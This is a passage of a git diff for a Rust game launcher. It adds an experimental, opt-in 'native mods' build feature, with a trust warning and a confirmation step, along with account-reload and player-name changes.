.map_or(0, |d| d.as_nanos() as u64);
|
||||
let name = format!(
|
||||
"Player{:05}",
|
||||
(nanos ^ u64::from(std::process::id()).rotate_left(32)) % 100_000
|
||||
);
|
||||
for instance in list_in(game_home, data) {
|
||||
if instance.home.is_dir() {
|
||||
fs::write(
|
||||
instance.home.join("horizon-player.txt"),
|
||||
format!("name:{name}\n"),
|
||||
)
|
||||
.map_err(|e| format!("{}: {e}", instance.home.display()))?;
|
||||
}
|
||||
}
|
||||
Ok(name)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "instances/tests.rs"]
|
||||
mod tests;
|
||||
@@ -67,6 +67,33 @@ fn player_home(home: &Path) {
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_new_player_name_replaces_the_kept_one_everywhere() {
|
||||
let root = scratch("newname");
|
||||
let (home, data) = (root.join("horizon"), root.join("launcher"));
|
||||
player_home(&home);
|
||||
// An own instance that has the old name, and one with no file yet.
|
||||
put(
|
||||
&home.join("instances/one/horizon-player.txt"),
|
||||
"name:Player123\n",
|
||||
);
|
||||
fs::create_dir_all(home.join("instances/two")).unwrap();
|
||||
let name = new_player_name_in(&home, &data).unwrap();
|
||||
assert_ne!(name, "Player123");
|
||||
assert!(name.starts_with("Player") && name.len() == 11);
|
||||
let kept = |home: &Path| fs::read_to_string(home.join("horizon-player.txt")).unwrap();
|
||||
for h in [
|
||||
&home,
|
||||
&home.join("instances/one"),
|
||||
&home.join("instances/two"),
|
||||
&home.join("ports/small-pack/home"),
|
||||
&home.join("horizon-packs/cozy/home"),
|
||||
] {
|
||||
assert_eq!(kept(h), format!("name:{name}\n"), "{}", h.display());
|
||||
}
|
||||
let _ = fs::remove_dir_all(&root);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn existing_worlds_stay_where_they_are_and_every_folder_becomes_an_instance() {
|
||||
let root = scratch("migrate");
|
||||
|
||||
@@ -17,10 +17,12 @@ pub mod instances;
|
||||
pub mod launch;
|
||||
pub mod modpacks;
|
||||
pub mod mojang;
|
||||
pub mod native_mods;
|
||||
pub mod nightly;
|
||||
pub mod packs;
|
||||
pub mod process;
|
||||
pub mod proxy;
|
||||
pub mod rust_toolchain;
|
||||
pub mod screenshots;
|
||||
pub mod server_list;
|
||||
pub mod servers;
|
||||
|
||||
+201
-10
@@ -53,6 +53,7 @@ use horizon_launcher::account::{self, Accounts, SignIn, SignInState};
|
||||
use horizon_launcher::backend::{self, Job, Msg, Release, Running, Settings, Updates};
|
||||
use horizon_launcher::i18n::{self, tr, trf};
|
||||
use horizon_launcher::instances;
|
||||
use horizon_launcher::native_mods;
|
||||
use horizon_launcher::nightly;
|
||||
use horizon_launcher::telemetry;
|
||||
use scrollbar::Scrollbar;
|
||||
@@ -176,6 +177,11 @@ struct Launcher {
|
||||
nightly_error: Option<String>,
|
||||
/// Play the Nightly instance once its first install ends: the player just turned Nightly on.
|
||||
nightly_select: bool,
|
||||
/// Native mods (`native_mods`): the build's step while it runs, why it failed, and the
|
||||
/// warning before a build while it is open, with the mods it names.
|
||||
native_step: Option<String>,
|
||||
native_error: Option<String>,
|
||||
native_confirm: Option<Result<Vec<native_mods::Bundle>, String>>,
|
||||
confirm_remove: Option<String>,
|
||||
picker_open: bool,
|
||||
/// The top bar's quick switch of who plays (`switch_page.rs`).
|
||||
@@ -389,6 +395,9 @@ impl Launcher {
|
||||
nightly_progress: None,
|
||||
nightly_error: None,
|
||||
nightly_select: false,
|
||||
native_step: None,
|
||||
native_error: None,
|
||||
native_confirm: None,
|
||||
confirm_remove: None,
|
||||
picker_open: false,
|
||||
account_menu: false,
|
||||
@@ -492,8 +501,10 @@ impl Launcher {
|
||||
}
|
||||
|
||||
fn go(&mut self, page: Page) {
|
||||
// The game may have made up a name since: read it again (a small file, once a switch).
|
||||
// The game may have made up a name since, and the CLI or another window may have
|
||||
// changed the accounts: read them again (small files, once a switch).
|
||||
self.offline_name = offline_name();
|
||||
self.accounts = Accounts::load();
|
||||
if page != self.page {
|
||||
self.page = page;
|
||||
self.switches += 1;
|
||||
@@ -578,6 +589,56 @@ impl Launcher {
|
||||
|
||||
/// Turns Nightly on (install it, then play its instance) or off (play the release again; the
|
||||
/// Nightly instance and its worlds stay).
|
||||
/// The native mods turned on in the instance Play starts, unpacked and checked, with their
|
||||
/// bundles: what the warning names and the build compiles.
|
||||
fn native_mods_to_build(
|
||||
&self,
|
||||
) -> Result<(std::path::PathBuf, Vec<native_mods::Bundle>), String> {
|
||||
let folder = native_mods::installed_mods(&instances::selected().home)?;
|
||||
let found = native_mods::bundles(&folder)?;
|
||||
Ok((folder, found))
|
||||
}
|
||||
|
||||
/// Builds the selected instance's native mods, once the player accepted the warning. The
|
||||
/// build reuses the game files of the version the instance plays, else the newest installed.
|
||||
fn build_native(&mut self) {
|
||||
if self.native_step.is_some() {
|
||||
return;
|
||||
}
|
||||
self.native_confirm = None;
|
||||
self.native_error = None;
|
||||
let instance = instances::selected();
|
||||
let base = instance
|
||||
.version
|
||||
.clone()
|
||||
.filter(|v| !native_mods::is_native(v))
|
||||
.or_else(|| {
|
||||
self.installed
|
||||
.iter()
|
||||
.find(|t| backend::is_game_tag(t) || t.starts_with("nightly-"))
|
||||
.cloned()
|
||||
});
|
||||
let Some(base) = base else {
|
||||
self.native_error = Some(tr("Install Horizon first.").into());
|
||||
return;
|
||||
};
|
||||
let folder = match self.native_mods_to_build() {
|
||||
Ok((folder, _)) => folder,
|
||||
Err(e) => {
|
||||
self.native_error = Some(e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
self.native_step = Some(tr("Starting the build").into());
|
||||
let tx = self.tx.clone();
|
||||
std::thread::spawn(move || {
|
||||
let result = native_mods::build(&base, &folder, Some(&instance), |step| {
|
||||
let _ = tx.send(Msg::NativeProgress(step.label()));
|
||||
});
|
||||
let _ = tx.send(Msg::Native(result));
|
||||
});
|
||||
}
|
||||
|
||||
fn set_nightly(&mut self, on: bool) {
|
||||
self.settings.nightly = on;
|
||||
if on {
|
||||
@@ -776,6 +837,15 @@ impl Launcher {
|
||||
}
|
||||
Msg::Updates(Err(e)) => self.update_error = Some(e),
|
||||
Msg::NightlyProgress(p) => self.nightly_progress = Some(p),
|
||||
Msg::NativeProgress(step) => self.native_step = Some(step),
|
||||
Msg::Native(result) => {
|
||||
self.native_step = None;
|
||||
self.installed = backend::installed();
|
||||
self.reload_instances();
|
||||
if let Err(e) = result {
|
||||
self.native_error = Some(e);
|
||||
}
|
||||
}
|
||||
Msg::Nightly(result) => {
|
||||
self.nightly_progress = None;
|
||||
self.installed = backend::installed();
|
||||
@@ -1723,6 +1793,10 @@ impl Launcher {
|
||||
)
|
||||
.on_click(cx.listener(|this, _: &ClickEvent, _, cx| {
|
||||
this.account_menu = !this.account_menu;
|
||||
if this.account_menu {
|
||||
// Who can play may have changed elsewhere since the window opened.
|
||||
this.accounts = Accounts::load();
|
||||
}
|
||||
cx.notify();
|
||||
}));
|
||||
let account = div()
|
||||
@@ -1998,6 +2072,14 @@ impl Launcher {
|
||||
}
|
||||
foot = foot.child(side);
|
||||
}
|
||||
if !self.links.sponsor.is_empty() {
|
||||
foot = foot.child(link(
|
||||
"sponsor",
|
||||
tr("Sponsor"),
|
||||
"heart",
|
||||
self.links.sponsor.clone(),
|
||||
));
|
||||
}
|
||||
if !self.links.discord.is_empty() {
|
||||
foot = foot.child(link(
|
||||
"discord",
|
||||
@@ -2953,6 +3035,7 @@ impl Launcher {
|
||||
.child(self.proxy_row(n + 4, cx))
|
||||
.child(group("Game", "gamepad"))
|
||||
.child(self.game_args_row(n + 5, cx))
|
||||
.child(self.native_mods_row(n + 5, cx))
|
||||
.child(group("AI", "terminal"))
|
||||
.child(self.no_ai_row(n + 6, cx))
|
||||
.child(group("About", "info-box"))
|
||||
@@ -3061,6 +3144,109 @@ impl Launcher {
|
||||
|
||||
/// Settings' Game arguments row: the extra arguments the game starts with, kept in
|
||||
/// `settings.json` and appended to the launcher's own (quotes group a word with spaces).
|
||||
/// Settings' Native mods row (docs/native-mods.md): off by default. On, Build compiles the
|
||||
/// native mods installed in the instance Play starts, after a warning that names them, and
|
||||
/// that instance then plays the build.
|
||||
fn native_mods_row(&self, n: usize, cx: &mut Context<Self>) -> Div {
|
||||
let t = self.theme;
|
||||
let on = self.settings.native_mods;
|
||||
let toggle =
|
||||
switch("native-mods", on, &t).on_click(cx.listener(|this, _: &ClickEvent, _, cx| {
|
||||
this.settings.native_mods = !this.settings.native_mods;
|
||||
this.native_confirm = None;
|
||||
this.settings.save();
|
||||
cx.notify();
|
||||
}));
|
||||
let mut detail = div().flex().flex_col().gap(px(4.)).child(
|
||||
tr("Native mods from the Mods page compile into the game with the launcher's own Rust. Not sandboxed: they can do anything you can on this computer.").to_string(),
|
||||
);
|
||||
if on {
|
||||
let status = match (&self.native_step, &self.native_error) {
|
||||
(Some(step), _) => Some(div().child(step.clone())),
|
||||
(None, Some(e)) => Some(div().text_color(t.danger).child(e.clone())),
|
||||
(None, None) => instances::selected()
|
||||
.version
|
||||
.filter(|v| native_mods::is_native(v))
|
||||
.map(|v| {
|
||||
div().child(trf("{version} plays in this instance.", &[("version", &v)]))
|
||||
}),
|
||||
};
|
||||
detail = detail.children(status);
|
||||
if self.native_step.is_none() && self.native_confirm.is_none() {
|
||||
detail = detail.child(div().flex().gap(px(8.)).mt(px(4.)).child(
|
||||
button("native-build", "Build", Kind::Primary, &t).on_click(cx.listener(
|
||||
|this, _: &ClickEvent, _, cx| {
|
||||
this.native_confirm = Some(this.native_mods_to_build().map(|(_, b)| b));
|
||||
cx.notify();
|
||||
},
|
||||
)),
|
||||
));
|
||||
}
|
||||
if let Some(mods) = &self.native_confirm {
|
||||
detail = detail.child(self.native_warning(mods, cx));
|
||||
}
|
||||
}
|
||||
index_row(
|
||||
n,
|
||||
tr("Native mods (experimental)"),
|
||||
Some(detail.into_any_element()),
|
||||
Some(toggle.into_any_element()),
|
||||
&t,
|
||||
)
|
||||
}
|
||||
|
||||
/// The warning before a native build: what the mods can do and which mods. The build starts
|
||||
/// only from its button.
|
||||
fn native_warning(
|
||||
&self,
|
||||
mods: &Result<Vec<native_mods::Bundle>, String>,
|
||||
cx: &mut Context<Self>,
|
||||
) -> Div {
|
||||
let t = self.theme;
|
||||
let list = match mods {
|
||||
Ok(found) => found
|
||||
.iter()
|
||||
.map(|b| format!("{} {}", b.id, b.version))
|
||||
.collect::<Vec<_>>()
|
||||
.join(", "),
|
||||
Err(e) => e.clone(),
|
||||
};
|
||||
let panel = div()
|
||||
.flex()
|
||||
.flex_col()
|
||||
.gap(px(6.))
|
||||
.mt(px(8.))
|
||||
.p(px(12.))
|
||||
.bg(t.well)
|
||||
.child(div().text_color(t.danger).child(tr("These mods will run with full access to your computer").to_string()))
|
||||
.child(tr("They can read, change or delete your files, and use your accounts and network, like any program you run. Build them only if you trust their authors: the Mods page names them.").to_string())
|
||||
.child(trf("Mods: {mods}", &[("mods", &list)]))
|
||||
.child(tr("The build compiles the game: about ten minutes and a few GB of disk the first time, a few minutes after that.").to_string());
|
||||
let mut buttons = div().flex().gap(px(8.)).mt(px(4.));
|
||||
if mods.is_ok() {
|
||||
buttons = buttons.child(
|
||||
button(
|
||||
"native-trust",
|
||||
"I trust these mods: build",
|
||||
Kind::Primary,
|
||||
&t,
|
||||
)
|
||||
.on_click(cx.listener(|this, _: &ClickEvent, _, cx| {
|
||||
this.build_native();
|
||||
cx.notify();
|
||||
})),
|
||||
);
|
||||
}
|
||||
panel.child(buttons.child(
|
||||
button("native-cancel", "Cancel", Kind::Secondary, &t).on_click(cx.listener(
|
||||
|this, _: &ClickEvent, _, cx| {
|
||||
this.native_confirm = None;
|
||||
cx.notify();
|
||||
},
|
||||
)),
|
||||
))
|
||||
}
|
||||
|
||||
fn game_args_row(&self, n: usize, cx: &mut Context<Self>) -> Div {
|
||||
let t = self.theme;
|
||||
let focused = self.args_focused;
|
||||
@@ -3220,8 +3406,11 @@ impl Launcher {
|
||||
actions = actions.child(
|
||||
button(format!("offline-{i}"), "Play offline", Kind::Ghost, &t).on_click(
|
||||
cx.listener(|this, _: &ClickEvent, _, cx| {
|
||||
this.accounts.selected = None;
|
||||
let _ = this.accounts.save();
|
||||
let mut accounts = Accounts::load();
|
||||
accounts.selected = None;
|
||||
if accounts.save().is_ok() {
|
||||
this.accounts = accounts;
|
||||
}
|
||||
cx.notify();
|
||||
}),
|
||||
),
|
||||
@@ -3231,8 +3420,7 @@ impl Launcher {
|
||||
actions = actions.child(
|
||||
button(format!("select-{i}"), "Play as", Kind::Secondary, &t).on_click(
|
||||
cx.listener(move |this, _: &ClickEvent, _, cx| {
|
||||
this.accounts.selected = Some(uuid.clone());
|
||||
let _ = this.accounts.save();
|
||||
this.play_as(account::Player::Microsoft(uuid.clone()));
|
||||
cx.notify();
|
||||
}),
|
||||
),
|
||||
@@ -3241,12 +3429,15 @@ impl Launcher {
|
||||
actions = actions.child(
|
||||
button(format!("sign-out-{i}"), "Sign out", Kind::Ghost, &t).on_click(cx.listener(
|
||||
move |this, _: &ClickEvent, _, cx| {
|
||||
let store = account::store();
|
||||
if let Err(e) = this.accounts.remove(store, &uuid) {
|
||||
this.sign_in_state = Some(SignInState::Done(Err(e)));
|
||||
let mut accounts = Accounts::load();
|
||||
match accounts
|
||||
.remove(account::store(), &uuid)
|
||||
.and_then(|()| accounts.save())
|
||||
{
|
||||
Ok(()) => this.accounts = accounts,
|
||||
Err(e) => this.sign_in_state = Some(SignInState::Done(Err(e))),
|
||||
}
|
||||
let _ = this.accounts.save();
|
||||
this.owner = Some(this.accounts.has_owner(store));
|
||||
this.owner = Some(this.accounts.has_owner(account::store()));
|
||||
cx.notify();
|
||||
},
|
||||
)),
|
||||
|
||||
@@ -0,0 +1,800 @@
|
||||
//! Native mods (docs/native-mods.md), experimental and off by default: mixin bundles that
|
||||
//! levzzz5154's horizon-mixins (MIT, <https://github.com/horizon-rust/horizon-mixins>) applies to
|
||||
//! Horizon's source, which the launcher then compiles into a game of its own with its portable Rust
|
||||
//! ([`rust_toolchain`]). Unlike `.hmod` mods they are not sandboxed: their code runs with the
|
||||
//! player's rights.
|
||||
//!
|
||||
//! A native mod pins the Horizon revision it was made for (a Nightly's or a release's commit), and
|
||||
//! every mod of one build must pin the same one. The build compiles that revision's source, from
|
||||
//! GitHub, never a checkout on this computer, and installs as its own version,
|
||||
//! `native-<revision>-<key>` (the key hashes the revision, the mods' files, the tool's commit and
|
||||
//! the profile, so the same set builds once). It plays in its own instance, "Native mods", so a
|
||||
//! mod never touches the player's worlds.
|
||||
use crate::backend;
|
||||
use crate::instances::{self, Instance};
|
||||
use crate::rust_toolchain::{self, Toolchain};
|
||||
use sha2::{Digest, Sha256};
|
||||
use std::fs;
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::process::{Command, Stdio};
|
||||
|
||||
/// The Native mods instance's id (its folder in `instances/`) and name.
|
||||
pub const INSTANCE: &str = "native-mods";
|
||||
const NAME: &str = "Native mods";
|
||||
const PREFIX: &str = "native-";
|
||||
/// horizon-mixins, for bundles that don't name the revision they were tested with.
|
||||
const MIXINS_GIT: &str = "https://github.com/horizon-rust/horizon-mixins";
|
||||
pub const MIXINS_REV: &str = "0500ff24aa5933fca95a877ef41125353c4b4fe3";
|
||||
/// The profile and features of the release's own game (game-build.yml).
|
||||
const PROFILE: &str = "release";
|
||||
const FEATURES: &str = "horizon-client/mods";
|
||||
|
||||
/// Whether an installed version is a native-mods build.
|
||||
pub fn is_native(version: &str) -> bool {
|
||||
version.starts_with(PREFIX)
|
||||
}
|
||||
|
||||
fn root() -> PathBuf {
|
||||
backend::data_dir().join("native")
|
||||
}
|
||||
|
||||
/// The build's log, kept until the next build.
|
||||
pub fn log_path() -> PathBuf {
|
||||
root().join("build.log")
|
||||
}
|
||||
|
||||
const MANIFEST: &str = "horizon-mixin.toml";
|
||||
/// A registry download's manifest (`.hnmod`, `horizon_mods::index::native`), beside `mixins/<id>/`.
|
||||
const NATIVE_MANIFEST: &str = horizon_mods::index::native::MANIFEST;
|
||||
/// Where an instance keeps the native mods installed from the registry, `<id>.hnmod`, each on or
|
||||
/// off in `horizon-mods.txt` like any mod.
|
||||
pub const INSTALLED: &str = "horizon-native-mods";
|
||||
|
||||
/// The native mods turned on in the game folder `home`, unpacked into a folder [`build`] takes.
|
||||
/// Each `.hnmod` is checked again as the registry checks it (only `.rs` and `.toml` under
|
||||
/// `mixins/<id>/`, nothing run), so a file edited since its download can't smuggle anything else in.
|
||||
pub fn installed_mods(home: &Path) -> Result<PathBuf, String> {
|
||||
let out = root().join("installed.incoming");
|
||||
let _ = fs::remove_dir_all(&out);
|
||||
let mut paths: Vec<PathBuf> = fs::read_dir(home.join(INSTALLED))
|
||||
.map(|dir| dir.flatten().map(|e| e.path()).collect())
|
||||
.unwrap_or_default();
|
||||
paths.retain(|p| p.extension().is_some_and(|e| e == "hnmod"));
|
||||
paths.sort();
|
||||
let mut count = 0;
|
||||
for path in paths {
|
||||
let bundle = horizon_mods::index::native::Bundle::read(&path)
|
||||
.map_err(|e| format!("{}: {e}", path.display()))?;
|
||||
if !crate::browser::java::is_enabled(home, &bundle.manifest.id) {
|
||||
continue;
|
||||
}
|
||||
let dir = out.join(&bundle.manifest.id);
|
||||
for (name, bytes) in &bundle.files {
|
||||
let to = dir.join(name);
|
||||
fs::create_dir_all(to.parent().unwrap_or(&dir)).map_err(|e| e.to_string())?;
|
||||
fs::write(&to, bytes).map_err(|e| format!("{}: {e}", to.display()))?;
|
||||
}
|
||||
count += 1;
|
||||
}
|
||||
if count == 0 {
|
||||
return Err(format!(
|
||||
"No native mod is turned on in {}: install one from the Mods page first.",
|
||||
home.join(INSTALLED).display()
|
||||
));
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
/// A mixin bundle: a folder with a `horizon-mixin.toml`, and the revisions it pins.
|
||||
#[derive(Clone, Debug, PartialEq)]
|
||||
pub struct Bundle {
|
||||
pub id: String,
|
||||
pub version: String,
|
||||
pub dir: PathBuf,
|
||||
/// The Horizon commit it builds on (`[compatibility] horizon_revision`, or its `.hnmod`'s).
|
||||
pub horizon: Option<String>,
|
||||
/// The horizon-mixins commit it was tested with (its `.hnmod`'s).
|
||||
pub mixins: Option<String>,
|
||||
}
|
||||
|
||||
/// The bundles in `folder`: the folder itself when it is one (a `horizon-mixin.toml`, or an
|
||||
/// unpacked `.hnmod`: `horizon-native.json` and `mixins/<id>/`), else each of its subfolders that is.
|
||||
pub fn bundles(folder: &Path) -> Result<Vec<Bundle>, String> {
|
||||
if let Some(found) = bundle_in(folder)? {
|
||||
return Ok(vec![found]);
|
||||
}
|
||||
let mut dirs: Vec<PathBuf> = fs::read_dir(folder)
|
||||
.map_err(|e| format!("Could not read {}: {e}", folder.display()))?
|
||||
.flatten()
|
||||
.map(|e| e.path())
|
||||
.filter(|p| p.is_dir())
|
||||
.collect();
|
||||
dirs.sort();
|
||||
let mut found = Vec::new();
|
||||
for dir in dirs {
|
||||
found.extend(bundle_in(&dir)?);
|
||||
}
|
||||
if found.is_empty() {
|
||||
return Err(format!(
|
||||
"{} holds no native mod ({MANIFEST} or {NATIVE_MANIFEST}).",
|
||||
folder.display()
|
||||
));
|
||||
}
|
||||
Ok(found)
|
||||
}
|
||||
|
||||
fn bundle_in(dir: &Path) -> Result<Option<Bundle>, String> {
|
||||
if dir.join(MANIFEST).is_file() {
|
||||
return bundle(dir, None).map(Some);
|
||||
}
|
||||
let path = dir.join(NATIVE_MANIFEST);
|
||||
if !path.is_file() {
|
||||
return Ok(None);
|
||||
}
|
||||
let text = fs::read_to_string(&path).map_err(|e| format!("{}: {e}", path.display()))?;
|
||||
let native: serde_json::Value =
|
||||
serde_json::from_str(&text).map_err(|e| format!("{}: {e}", path.display()))?;
|
||||
let field = |name: &str| native[name].as_str().map(str::to_owned);
|
||||
let id = field("id").ok_or_else(|| format!("{} has no id.", path.display()))?;
|
||||
let found = bundle(&dir.join("mixins").join(&id), field("mixins"))?;
|
||||
match (&found.horizon, field("horizon")) {
|
||||
(Some(pinned), Some(native)) if *pinned != native => Err(format!(
|
||||
"{id}: {NATIVE_MANIFEST} pins Horizon {native}, its {MANIFEST} {pinned}."
|
||||
)),
|
||||
(_, native) => Ok(Some(Bundle {
|
||||
horizon: found.horizon.clone().or(native),
|
||||
..found
|
||||
})),
|
||||
}
|
||||
}
|
||||
|
||||
fn bundle(dir: &Path, mixins: Option<String>) -> Result<Bundle, String> {
|
||||
let path = dir.join(MANIFEST);
|
||||
let text = fs::read_to_string(&path).map_err(|e| format!("{}: {e}", path.display()))?;
|
||||
let value: toml::Table = text
|
||||
.parse()
|
||||
.map_err(|e| format!("{}: {e}", path.display()))?;
|
||||
let field = |table: &str, name: &str| {
|
||||
value
|
||||
.get(table)
|
||||
.and_then(|m| m.get(name))
|
||||
.and_then(|v| v.as_str())
|
||||
.map(str::to_owned)
|
||||
};
|
||||
let need = |name: &str| {
|
||||
field("mod", name).ok_or_else(|| format!("{} has no [mod] {name}.", path.display()))
|
||||
};
|
||||
Ok(Bundle {
|
||||
id: need("id")?,
|
||||
version: need("version")?,
|
||||
dir: dir.to_owned(),
|
||||
horizon: field("compatibility", "horizon_revision"),
|
||||
mixins,
|
||||
})
|
||||
}
|
||||
|
||||
fn is_revision(text: &str) -> bool {
|
||||
text.len() == 40 && text.bytes().all(|b| matches!(b, b'0'..=b'9' | b'a'..=b'f'))
|
||||
}
|
||||
|
||||
/// The one value the bundles pin for `which` (each mod's `get`), else `fallback`; mods that pin
|
||||
/// different ones can't be built together, and the error says which.
|
||||
fn agreed(
|
||||
bundles: &[Bundle],
|
||||
which: &str,
|
||||
get: impl Fn(&Bundle) -> Option<&String>,
|
||||
fallback: impl FnOnce() -> Result<String, String>,
|
||||
) -> Result<String, String> {
|
||||
let mut pins: Vec<(&String, &str)> = bundles
|
||||
.iter()
|
||||
.filter_map(|b| get(b).map(|r| (r, b.id.as_str())))
|
||||
.collect();
|
||||
pins.sort();
|
||||
let revision = match pins.first() {
|
||||
None => fallback()?,
|
||||
Some((first, _)) if pins.iter().all(|(r, _)| r == first) => (*first).clone(),
|
||||
Some(_) => {
|
||||
let list: Vec<String> = pins
|
||||
.iter()
|
||||
.map(|(r, id)| format!("{id} → {}", &r[..r.len().min(7)]))
|
||||
.collect();
|
||||
return Err(format!(
|
||||
"These mods were made for different {which} revisions and can't be built together: {}. Install versions made for the same Nightly.",
|
||||
list.join(", ")
|
||||
));
|
||||
}
|
||||
};
|
||||
if !is_revision(&revision) {
|
||||
return Err(format!(
|
||||
"{revision} is not a {which} commit (40 hex digits)."
|
||||
));
|
||||
}
|
||||
Ok(revision)
|
||||
}
|
||||
|
||||
/// The Horizon commit `version` (an installed release or Nightly) was built from, from GitHub.
|
||||
pub fn revision_of(version: &str) -> Result<String, String> {
|
||||
let reference = match version.strip_prefix("nightly-") {
|
||||
// nightly-2026-10-28-0c02067: the commit is its last word.
|
||||
Some(rest) => rest.rsplit('-').next().unwrap_or(rest),
|
||||
None => version,
|
||||
};
|
||||
let url = format!(
|
||||
"https://api.github.com/repos/{}/commits/{reference}",
|
||||
backend::REPO
|
||||
);
|
||||
let commit: serde_json::Value = backend::get(&url)?.into_json().map_err(|e| e.to_string())?;
|
||||
commit["sha"]
|
||||
.as_str()
|
||||
.filter(|s| is_revision(s))
|
||||
.map(str::to_owned)
|
||||
.ok_or_else(|| format!("GitHub doesn't know the commit of {version}."))
|
||||
}
|
||||
|
||||
/// Every file under `dir`, by its path relative to `dir` (with `/`), sorted. A symlink is refused:
|
||||
/// horizon-mixins refuses them too.
|
||||
fn files(dir: &Path) -> Result<Vec<(String, PathBuf)>, String> {
|
||||
fn walk(root: &Path, dir: &Path, out: &mut Vec<(String, PathBuf)>) -> Result<(), String> {
|
||||
for entry in fs::read_dir(dir).map_err(|e| e.to_string())?.flatten() {
|
||||
let (path, kind) = (entry.path(), entry.file_type().map_err(|e| e.to_string())?);
|
||||
if kind.is_symlink() {
|
||||
return Err(format!(
|
||||
"{} is a link: copy the file instead.",
|
||||
path.display()
|
||||
));
|
||||
} else if kind.is_dir() {
|
||||
walk(root, &path, out)?;
|
||||
} else {
|
||||
let relative = path.strip_prefix(root).unwrap_or(&path);
|
||||
out.push((relative.to_string_lossy().replace('\\', "/"), path));
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
let mut out = Vec::new();
|
||||
walk(dir, dir, &mut out)?;
|
||||
out.sort();
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
/// The installed version `bundles` built on Horizon `revision` with horizon-mixins `mixins`
|
||||
/// become: `native-<7 digits of the revision>-<12 hex digits>`.
|
||||
pub fn version_for(revision: &str, mixins: &str, bundles: &[Bundle]) -> Result<String, String> {
|
||||
let mut hash = Sha256::new();
|
||||
for part in [mixins, PROFILE, FEATURES, rust_toolchain::VERSION, revision] {
|
||||
hash.update(part.as_bytes());
|
||||
hash.update([0]);
|
||||
}
|
||||
let mut sorted: Vec<&Bundle> = bundles.iter().collect();
|
||||
sorted.sort_by(|a, b| a.id.cmp(&b.id));
|
||||
for b in sorted {
|
||||
hash.update(b.id.as_bytes());
|
||||
hash.update([0]);
|
||||
for (name, path) in files(&b.dir)? {
|
||||
let bytes = fs::read(&path).map_err(|e| format!("{}: {e}", path.display()))?;
|
||||
hash.update(name.as_bytes());
|
||||
hash.update((bytes.len() as u64).to_le_bytes());
|
||||
hash.update(&bytes);
|
||||
}
|
||||
}
|
||||
let key: String = hash.finalize()[..6]
|
||||
.iter()
|
||||
.map(|b| format!("{b:02x}"))
|
||||
.collect();
|
||||
Ok(format!("{PREFIX}{}-{key}", &revision[..7]))
|
||||
}
|
||||
|
||||
/// Where a build is.
|
||||
#[derive(Clone, Debug, PartialEq)]
|
||||
pub enum Step {
|
||||
Rust(f32),
|
||||
Tool,
|
||||
Source(String),
|
||||
Mixins,
|
||||
/// Crates compiled so far, and the last one.
|
||||
Compile(usize, String),
|
||||
Install,
|
||||
}
|
||||
|
||||
impl Step {
|
||||
pub fn label(&self) -> String {
|
||||
match self {
|
||||
Self::Rust(done) => format!(
|
||||
"Downloading Rust {} (once): {:.0}%",
|
||||
rust_toolchain::VERSION,
|
||||
done * 100.0
|
||||
),
|
||||
Self::Tool => "Building horizon-mixins (once)".into(),
|
||||
Self::Source(revision) => {
|
||||
format!("Downloading Horizon's source at {}", &revision[..7])
|
||||
}
|
||||
Self::Mixins => "Applying the mixins".into(),
|
||||
Self::Compile(n, name) => format!("Compiling the game: {n} crates, now {name}"),
|
||||
Self::Install => "Installing the build".into(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Runs `cmd`, its output appended to the build log; `line` sees each line of its standard error.
|
||||
/// An error ends with the last lines.
|
||||
fn run(mut cmd: Command, what: &str, mut line: impl FnMut(&str)) -> Result<(), String> {
|
||||
let mut log = fs::OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(log_path())
|
||||
.map_err(|e| e.to_string())?;
|
||||
let _ = writeln!(log, "$ {cmd:?}");
|
||||
let stdout = log.try_clone().map_err(|e| e.to_string())?;
|
||||
let mut child = cmd
|
||||
.stdout(stdout)
|
||||
.stderr(Stdio::piped())
|
||||
.spawn()
|
||||
.map_err(|e| format!("Could not start {what}: {e}"))?;
|
||||
let mut tail = std::collections::VecDeque::new();
|
||||
for text in BufReader::new(child.stderr.take().expect("piped"))
|
||||
.lines()
|
||||
.map_while(Result::ok)
|
||||
{
|
||||
let _ = writeln!(log, "{text}");
|
||||
line(&text);
|
||||
if tail.len() == 12 {
|
||||
tail.pop_front();
|
||||
}
|
||||
tail.push_back(text);
|
||||
}
|
||||
let status = child.wait().map_err(|e| e.to_string())?;
|
||||
if status.success() {
|
||||
return Ok(());
|
||||
}
|
||||
let tail: Vec<String> = tail.into();
|
||||
Err(format!(
|
||||
"{what} failed ({status}). The end of its output, the whole of it in {}:\n{}",
|
||||
log_path().display(),
|
||||
diagnostic(&tail.join("\n")).unwrap_or_else(|| tail.join("\n"))
|
||||
))
|
||||
}
|
||||
|
||||
/// A horizon-mixins diagnostic (`{"code", "message", "file"}`) in one line.
|
||||
fn diagnostic(text: &str) -> Option<String> {
|
||||
let start = text.find('{')?;
|
||||
let value: serde_json::Value = serde_json::from_str(&text[start..]).ok()?;
|
||||
let mut line = format!(
|
||||
"{}: {}",
|
||||
value["code"].as_str()?,
|
||||
value["message"].as_str()?
|
||||
);
|
||||
if let Some(file) = value["file"].as_str() {
|
||||
line += &format!(" ({file})");
|
||||
}
|
||||
Some(line)
|
||||
}
|
||||
|
||||
/// horizon-mixins at commit `rev`, built once with the launcher's cargo (`cargo install --locked`).
|
||||
fn tool(rust: &Toolchain, rev: &str) -> Result<PathBuf, String> {
|
||||
let dir = root().join("tools").join(&rev[..12]);
|
||||
let bin = dir
|
||||
.join("bin")
|
||||
.join(format!("horizon-mixins{}", std::env::consts::EXE_SUFFIX));
|
||||
if !bin.is_file() {
|
||||
let mut cmd = rust.command(&rust.cargo());
|
||||
cmd.args([
|
||||
"install", "--locked", "--git", MIXINS_GIT, "--rev", rev, "--root",
|
||||
])
|
||||
.arg(&dir)
|
||||
.arg("horizon-mixins-cli");
|
||||
run(cmd, "Building horizon-mixins", |_| {})?;
|
||||
}
|
||||
Ok(bin)
|
||||
}
|
||||
|
||||
/// Horizon's source at commit `revision`: GitHub's archive of it, unpacked once, with the commit in
|
||||
/// `.horizon-revision` (bundles pin it). A Nightly's commit stays downloadable after the Nightly
|
||||
